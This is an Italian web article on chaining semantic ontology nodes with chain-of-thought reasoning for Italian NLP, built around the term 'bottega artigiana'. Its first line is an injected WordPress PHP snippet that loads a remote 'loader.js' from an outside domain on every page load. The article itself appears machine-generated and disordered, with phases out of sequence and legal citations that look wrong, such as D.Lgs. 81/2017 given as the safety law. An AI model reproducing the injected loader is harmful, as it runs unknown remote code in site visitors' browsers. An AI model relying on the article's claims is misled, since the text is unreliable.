// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script');

Il Tier 1 fornisce la mappa statica delle entità, sinonimi e gerarchie concettuali, essenziale per la disambiguazione di base; tuttavia, nei testi multilingue e in dominio specialistico come l’artigianato, il turismo o la sanità italiana, l’ambiguità lessicale e le relazioni pragmatiche richiedono un livello superiore di inferenza contestuale. Il Tier 2 integra il mapping statico con una catena di ragionamento logico che collega nodi semantici attraverso regole di co-referenza, disambiguazione contestuale e gerarchie dinamiche, trasformando una semplice ontologia in un sistema interpretativo attivo. Questo processo è reso possibile dal metodo CoT, che guida il modello passo dopo passo attraverso inferenze strutturate, garantendo coerenza e precisione nella rappresentazione del significato.
Fase 1: identificazione del nodo semantico iniziale
Si parte da un termine chiave rappresentativo del dominio, ad esempio “bottega artigiana” nel settore manifatturiero locale. Analizziamo tutte le proprietà linguistiche:
– Sinonimi: “ Officina artigiana”, “laboratorio artigiano”, “bottega manifatturiera”
– Ambito d’uso: commercio, produzione manuale, artigianato tradizionale
– Collegamenti discorsivi: attribuzione di artigiani, descrizione processi produttivi, riferimenti normativi regionali
Fase 2: generazione della catena CoT
Costruiamo una sequenza inferenziale che lega il nodo iniziale a concetti correlati:
1. **Bottega artigiana → Artigiano**: nesso di produzione e mestiere riconosciuto dal Codice del Lavoro italiano
2. → **Produzione manuale**: inferenza diretta da definizione e normativa industriale
3. → **Settore manifatturiero locale**: derivato da riferimenti territoriali e dati di settore (ISTAT, Camere di Commercio)
Fase 2 è supportata da cross-check con EuroWordNet e OpenItalian Ontology, verificando che le relazioni siano coerenti con il registro formale e il contesto pragmatico.
Fase 3: validazione e ponderazione contestuale
Ogni collegamento è valutato con un peso di confidenza (0–1) basato su:
– Frequenza d’uso in testi certificati (es. normative regionali)
– Coerenza con esempi di uso reale estratto da corpus linguistici italiani
– Segnali discorsivi (avverbi di luogo, tempo, modalità)
Esempio di output strutturato:
{
« nodo »: « bottega artigiana »,
« collegamenti »: [
{« nodo »: « artigiano », « tipo »: « professione », « peso »: 0.95},
{« nodo »: « produzione manuale », « tipo »: « processo », « peso »: 0.88},
{« nodo »: « settore manifatturiero locale », « tipo »: « ambito », « peso »: 0.92}
],
« confidenza_media »: 0.91
}
I pesi riflettono la forza inferenziale contestuale, fondamentali per evitare disambiguazioni errate in testi tecnici o normativi.
Fase 0: preparazione del corpus annotato
Estrarre frasi da fonti autorevoli: cataloghi commerciali, manuali tecnici regionali, articoli di settore. Esempio di annotazione manuale:
Integrare disambiguatori contestuali basati su regole: es. “bottega artigiana” in testi normativi attiva il nodo “conformità legale” con peso 1.0, mentre in contesti commerciali privilegia “produzione” come nodo chiave.
Fase 1: riconoscimento e categorizzazione con NER e disambiguatori
Usare NER addestrato su italiano (es. spaCy-italiano o BERT Italiane) per identificare entità come “bottega artigiana” e disambiguare sinonimi con regole contestuali:
– “panificio” vs “panetteria”: differenziati da riferimenti a prodotti (pane vs dolci) e normative locali (es. artigianato alimentare).
– “settore manifatturiero” vs “servizi artigianali”: filtrato tramite contesto (es. “produzione meccanica” → settore industriale; “lavoro manuale” → servizi).
Fase 2: costruzione automatica delle catene CoT
Fornire un prompt strutturato per il modello:
“Partendo da [bottega artigiana], il sistema deve identificare e costruire una catena di ragionamento che includa:
1. Il nodo principale con proprietà e sinonimi contestuali
2. I collegamenti con giustificazione semantica (es. perché ‘bottega artigiana’ implica ‘artigiano’)
3. Le relazioni semantiche secondarie (es. con ‘normativa D.Lgs. 81/2017’)
4. Una gerarchia di concetti correlati (es. artigianato, manifattura, commercio locale)”
Esempio di catena generata:
1. Nodo: bottega artigiana
– Proprietà: artigiano, produzione manuale, conformità legale
– Sinonimi: officina artigiana, laboratorio artigiano
2. Collegamento: → artigiano
– Giustificazione: Codice del Lavoro italiano riconosce la bottega come soggetto produttivo di mestiere
3. Collegamento: → produzione manuale
– Inferenza: conforme a normative sulla sicurezza lavorativa e artigianale
4. Collegamento: → settore manifatturiero locale
– Contesto: attività produttiva con riferimento territoriale (es. zona Emilia-Romagna)
5. Relazioni secondarie:
– con normativa: D.Lgs. 81/2017 → obblighi di sicurezza
– con categoria: artigianato tradizionale → sottocategoria manifattura leggera
Errori frequenti e loro mitigazione
– **Disambiguazione errata per polisemia**: “bottega” può indicare luogo di vendita o produzione. Soluzione: integrazione di segnali discorsivi (es. “gestisce manualmente”, “produzione a mano”) per attivare il nodo corretto.
– **Catene rotturate per assenza di contesto**: se “bottega artigiana” appare senza ambito, la catena fallisce. Mitigazione: uso di ontologie locali che associano sottocategorie (es. “bottega artigiana alimentare”, “bottega artigiana meccanica”).
– **Overfitting su terminologia regionale**: termini come “bottega” o “laboratorio” variano per uso. Soluzione: pipeline adattive che riconoscono registro linguistico attraverso modelli di stile (es. NER stilisticamente sensibili).
Tavola comparativa: differenze tra NER generico e NER specializzato italiano
| Caratteristica | NER Generico (es. spaCy) | NER Specializzato Italiano |
|---|---|---|
| Riconoscimento “bottega artigiana” | Riconosce solo termine | Associa a categoria e sinonimi regionali |
| Gestione “normativa artigianale” | Ignora contesto legale | Associa a D.Lgs. 81/2017 e normative locali |
© 2021 Ahmed Rebai – Tous les droits réservés. Designed by Ahmed Rebai Famely.